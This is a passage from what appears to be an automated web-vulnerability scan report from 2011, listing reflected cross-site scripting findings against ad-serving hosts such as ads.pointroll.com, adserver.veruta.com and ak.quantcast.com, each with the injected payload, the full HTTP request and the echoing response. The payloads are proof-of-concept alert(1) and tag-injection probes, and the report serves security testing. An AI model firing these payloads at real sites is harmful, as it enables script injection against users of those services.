document.write("<iframe id='profr1247240' src='http://ads.pointroll.com/PortalServe/?pid=1247240J45720110330184804&cid=1467337&pos=h&redir=http://ad.doubleclick.net/click%3Bh=v8/3af0/3/0/*/v%3B2393007
...[SNIP]...
ent,ax.40%3B%3Bcmw=owl%3Bsz=160x600%3Bnet=cm%3Benv=ifr%3Bord1=82789%3Bcontx=ent%3Ban=40%3Bdc=w%3Bbtg=%3B~aopt=3/1/e5/0%3B~sscs=%3F$CTURL$&dom=http://poponthepop.com&time=3|20:25|-5&r=0.183526283130049730fb7";alert(1)//54cbf026620&flash=10&server=polRedir' width='160' height='600' frameborder='0' marginwidth='0' marginheight='0' scrolling='NO'>
...[SNIP]...

3.62. http://ads.pointroll.com/PortalServe/ [redir parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ads.pointroll.com
Path:   /PortalServe/

Issue detail

The value of the redir request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7e75f"-alert(1)-"87d8d9d148c was submitted in the redir parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /PortalServe/?pid=1247240J45720110330184804&flash=10&time=3|20:25|-5&redir=http://ad.doubleclick.net/click%3Bh%3Dv8/3af0/3/0/%2a/v%3B239300729%3B0-0%3B10%3B55854524%3B2321-160/600%3B41539824/41557611/1%3Bu%3D%2Ccm-42181530_1303349054%2C11f8f328940989e%2Cent%2Cax.40%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-42181530_1303349054%2C11f8f328940989e%2Cent%2Cax.40%3B%3Bcmw%3Dowl%3Bsz%3D160x600%3Bnet%3Dcm%3Benv%3Difr%3Bord1%3D82789%3Bcontx%3Dent%3Ban%3D40%3Bdc%3Dw%3Bbtg%3D%3B%7Eaopt%3D3/1/e5/0%3B%7Esscs%3D%3f$CTURL$7e75f"-alert(1)-"87d8d9d148c&pos=x&dom=http://poponthepop.com&r=0.1835262831300497 HTTP/1.1
Host: ads.pointroll.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/ce486e34-952b-40f2-86f9-06615005178d?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349053
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PRID=B313D3CD-2147-4ACC-A03C-CCA65D06F94D; PRbu=EoSNMBpPq; PRvt=CBJBaEoSNMBpPqAI5BBe; F1FPLN=1*1303435143; PRgo=BBBAAsJvBBF-19!B; PRimp=63A10400-F398-9A14-0209-527000710100; PRca=|AJvr*1753:1|AKLp*1753:1|AJcC*23172:1|#; PRcp=|AJvrAA2R:1|AKLpAA2R:1|AJcCAGBk:1|#; PRpl=|FCbK:1|FPLN:1|Eoxl:1|#; PRcr=|GDVY:1|GKCp:1|Fy9A:1|#; PRpc=|FCbKGDVY:1|FPLNGKCp:1|EoxlFy9A:1|#

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 21 Apr 2011 01:29:35 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NOI DSP COR PSAo PSDo OUR BUS OTC"

document.write("<iframe id='profr1247240' src='http://ads.pointroll.com/PortalServe/?pid=1247240J45720110330184804&cid=1467337&pos=h&redir=http://ad.doubleclick.net/click%3Bh=v8/3af0/3/0/*/v%3B2393007
...[SNIP]...
40%3B~okv=%3Bnet=cm%3Bu=,cm-42181530_1303349054,11f8f328940989e,ent,ax.40%3B%3Bcmw=owl%3Bsz=160x600%3Bnet=cm%3Benv=ifr%3Bord1=82789%3Bcontx=ent%3Ban=40%3Bdc=w%3Bbtg=%3B~aopt=3/1/e5/0%3B~sscs=%3F$CTURL$7e75f"-alert(1)-"87d8d9d148c&dom=http://poponthepop.com&time=3|20:25|-5&r=0.1835262831300497&flash=10&server=polRedir' width='160' height='600' frameborder='0' marginwidth='0' marginheight='0' scrolling='NO'>
...[SNIP]...

3.63. http://ads.pointroll.com/PortalServe/ [time parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ads.pointroll.com
Path:   /PortalServe/

Issue detail

The value of the time request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bc9e2"%3balert(1)//15ed8fccc7d was submitted in the time parameter. This input was echoed as bc9e2";alert(1)//15ed8fccc7d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /PortalServe/?pid=1247240J45720110330184804&flash=10&time=3|20:25|-5bc9e2"%3balert(1)//15ed8fccc7d&redir=http://ad.doubleclick.net/click%3Bh%3Dv8/3af0/3/0/%2a/v%3B239300729%3B0-0%3B10%3B55854524%3B2321-160/600%3B41539824/41557611/1%3Bu%3D%2Ccm-42181530_1303349054%2C11f8f328940989e%2Cent%2Cax.40%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-42181530_1303349054%2C11f8f328940989e%2Cent%2Cax.40%3B%3Bcmw%3Dowl%3Bsz%3D160x600%3Bnet%3Dcm%3Benv%3Difr%3Bord1%3D82789%3Bcontx%3Dent%3Ban%3D40%3Bdc%3Dw%3Bbtg%3D%3B%7Eaopt%3D3/1/e5/0%3B%7Esscs%3D%3f$CTURL$&pos=x&dom=http://poponthepop.com&r=0.1835262831300497 HTTP/1.1
Host: ads.pointroll.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/ce486e34-952b-40f2-86f9-06615005178d?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349053
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PRID=B313D3CD-2147-4ACC-A03C-CCA65D06F94D; PRbu=EoSNMBpPq; PRvt=CBJBaEoSNMBpPqAI5BBe; F1FPLN=1*1303435143; PRgo=BBBAAsJvBBF-19!B; PRimp=63A10400-F398-9A14-0209-527000710100; PRca=|AJvr*1753:1|AKLp*1753:1|AJcC*23172:1|#; PRcp=|AJvrAA2R:1|AKLpAA2R:1|AJcCAGBk:1|#; PRpl=|FCbK:1|FPLN:1|Eoxl:1|#; PRcr=|GDVY:1|GKCp:1|Fy9A:1|#; PRpc=|FCbKGDVY:1|FPLNGKCp:1|EoxlFy9A:1|#

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 21 Apr 2011 01:29:34 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NOI DSP COR PSAo PSDo OUR BUS OTC"

document.write("<iframe id='profr1247240' src='http://ads.pointroll.com/PortalServe/?pid=1247240J45720110330184804&cid=1467337&pos=h&redir=http://ad.doubleclick.net/click%3Bh=v8/3af0/3/0/*/v%3B2393007
...[SNIP]...
9054,11f8f328940989e,ent,ax.40%3B%3Bcmw=owl%3Bsz=160x600%3Bnet=cm%3Benv=ifr%3Bord1=82789%3Bcontx=ent%3Ban=40%3Bdc=w%3Bbtg=%3B~aopt=3/1/e5/0%3B~sscs=%3F$CTURL$&dom=http://poponthepop.com&time=3|20:25|-5bc9e2";alert(1)//15ed8fccc7d&r=0.1835262831300497&flash=10&server=polRedir' width='160' height='600' frameborder='0' marginwidth='0' marginheight='0' scrolling='NO'>
...[SNIP]...

3.64. http://adserver.veruta.com/cookiematch.fcgi [admeld_adprovider_id parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.veruta.com
Path:   /cookiematch.fcgi

Issue detail

The value of the admeld_adprovider_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7a072'%3balert(1)//2d8b260247b was submitted in the admeld_adprovider_id parameter. This input was echoed as 7a072';alert(1)//2d8b260247b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cookiematch.fcgi?pnid=3000003&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=5677a072'%3balert(1)//2d8b260247b&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: adserver.veruta.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/d5a43de1-76cb-482d-b60c-710bb61c0a49?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349054
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Thu, 21 Apr 2011 01:29:39 GMT
Content-Type: text/html
Connection: close
Vary: Accept-Encoding
Cache-Control: max-age=0, no-store, must-revalidate, no-cache
Expires: Thu, 01-Jan-1970 00:00:00 GMT
P3P: policyref="http://www.veruta.com/w3c/p3p.xml",CP="NOI DSP COR NID"
Pragma: no-cache
Content-Length: 174

document.write('<img width="0" height="0" src="http://tag.admeld.com/match?admeld_adprovider_id=5677a072';alert(1)//2d8b260247b&external_user_id=0&expiration=1305941379"/>');

3.65. http://adserver.veruta.com/cookiematch.fcgi [admeld_callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.veruta.com
Path:   /cookiematch.fcgi

Issue detail

The value of the admeld_callback request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2817f'%3balert(1)//cf82afa1131 was submitted in the admeld_callback parameter. This input was echoed as 2817f';alert(1)//cf82afa1131 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cookiematch.fcgi?pnid=3000003&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=567&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match2817f'%3balert(1)//cf82afa1131 HTTP/1.1
Host: adserver.veruta.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/d5a43de1-76cb-482d-b60c-710bb61c0a49?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349054
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Thu, 21 Apr 2011 01:29:44 GMT
Content-Type: text/html
Connection: close
Vary: Accept-Encoding
Cache-Control: max-age=0, no-store, must-revalidate, no-cache
Expires: Thu, 01-Jan-1970 00:00:00 GMT
P3P: policyref="http://www.veruta.com/w3c/p3p.xml",CP="NOI DSP COR NID"
Pragma: no-cache
Content-Length: 174

document.write('<img width="0" height="0" src="http://tag.admeld.com/match2817f';alert(1)//cf82afa1131?admeld_adprovider_id=567&external_user_id=0&expiration=1305941384"/>');

3.66. http://ak.quantcast.com/css/ie6.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /css/ie6.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48256"><a>b8cff9c400d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /css48256"><a>b8cff9c400d/ie6.css HTTP/1.1
Host: ak.quantcast.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833; __qca=P0-1138661367-1297862290557;

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Date: Wed, 23 Feb 2011 23:11:46 GMT
Content-Length: 7728
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" css48256"><a>b8cff9c400d ie6.css" />
...[SNIP]...

3.67. http://ak.quantcast.com/css/ie6.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /css/ie6.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8485d"><a>4fb1c3ae11e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /css/ie6.css8485d"><a>4fb1c3ae11e HTTP/1.1
Host: ak.quantcast.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833; __qca=P0-1138661367-1297862290557;

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Date: Wed, 23 Feb 2011 23:12:20 GMT
Content-Length: 7728
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" css ie6.css8485d"><a>4fb1c3ae11e" />
...[SNIP]...

3.68. http://ak.quantcast.com/css/ie7.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /css/ie7.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62631"><a>0818aa67453 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /css62631"><a>0818aa67453/ie7.css?v=2011022307 HTTP/1.1
Host: ak.quantcast.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833; __qca=P0-1138661367-1297862290557;

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Date: Wed, 23 Feb 2011 23:11:47 GMT
Content-Length: 7728
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" css62631"><a>0818aa67453 ie7.css" />
...[SNIP]...

3.69. http://ak.quantcast.com/css/ie7.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /css/ie7.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd709"><a>6e1ecdc6d7c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /css/ie7.cssfd709"><a>6e1ecdc6d7c?v=2011022307 HTTP/1.1
Host: ak.quantcast.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833; __qca=P0-1138661367-1297862290557;

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Date: Wed, 23 Feb 2011 23:12:23 GMT
Content-Length: 7728
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" css ie7.cssfd709"><a>6e1ecdc6d7c" />
...[SNIP]...

3.70. http://ak.quantcast.com/dynamic-css/screen-optimized.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /dynamic-css/screen-optimized.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96fc2"><a>418e99f22e1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /dynamic-css96fc2"><a>418e99f22e1/screen-optimized.css?v=2011022307 HTTP/1.1
Host: ak.quantcast.com
Proxy-Connection: keep-alive
Referer: http://www.quantcast.com/top-sites-1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1297862294.1298206755.2

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Date: Wed, 23 Feb 2011 21:46:09 GMT
Connection: close
Content-Length: 7788


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" dynamic-css96fc2"><a>418e99f22e1 screen-optimized.css" />
...[SNIP]...

3.71. http://ak.quantcast.com/dynamic-css/screen-optimized.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /dynamic-css/screen-optimized.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e40a8"><a>dca22fd21f3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /dynamic-css/screen-optimized.csse40a8"><a>dca22fd21f3?v=2011022307 HTTP/1.1
Host: ak.quantcast.com
Proxy-Connection: keep-alive
Referer: http://www.quantcast.com/top-sites-1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1297862294.1298206755.2

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Date: Wed, 23 Feb 2011 21:46:45 GMT
Connection: close
Content-Length: 7791


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" dynamic-css screen-optimized.csse40a8"><a>dca22fd21f3" />
...[SNIP]...

3.72. http://ak.quantcast.com/images/sprite.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /images/sprite.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9904"><a>6e51fd54aca was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /imagesa9904"><a>6e51fd54aca/sprite.png?v=20110222 HTTP/1.1
Host: ak.quantcast.com
Proxy-Connection: keep-alive
Referer: http://www.quantcast.com/top-sites-1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Date: Wed, 23 Feb 2011 21:46:10 GMT
Connection: close
Content-Length: 7746


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" imagesa9904"><a>6e51fd54aca sprite.png" />
...[SNIP]...

3.73. http://ak.quantcast.com/images/sprite.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /images/sprite.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc0e4"><a>81bf2eedf52 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /images/sprite.pngcc0e4"><a>81bf2eedf52?v=20110222 HTTP/1.1
Host: ak.quantcast.com
Proxy-Connection: keep-alive
Referer: http://www.quantcast.com/top-sites-1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Date: Wed, 23 Feb 2011 21:46:47 GMT
Connection: close
Content-Length: 7746


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" images sprite.pngcc0e4"><a>81bf2eedf52" />
...[SNIP]...

3.74. http://ak.quantcast.com/js/concat.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /js/concat.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2add5"><a>fbd859f2a29 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /js2add5"><a>fbd859f2a29/concat.js?v=2011022307 HTTP/1.1
Host: ak.quantcast.com
Proxy-Connection: keep-alive
Referer: http://www.quantcast.com/top-sites-1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1297862294.1298206755.2

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Date: Wed, 23 Feb 2011 21:46:09 GMT
Connection: close
Content-Length: 7728


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" js2add5"><a>fbd859f2a29 concat.js" />
...[SNIP]...

3.75. http://ak.quantcast.com/js/concat.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /js/concat.js

Issue detail

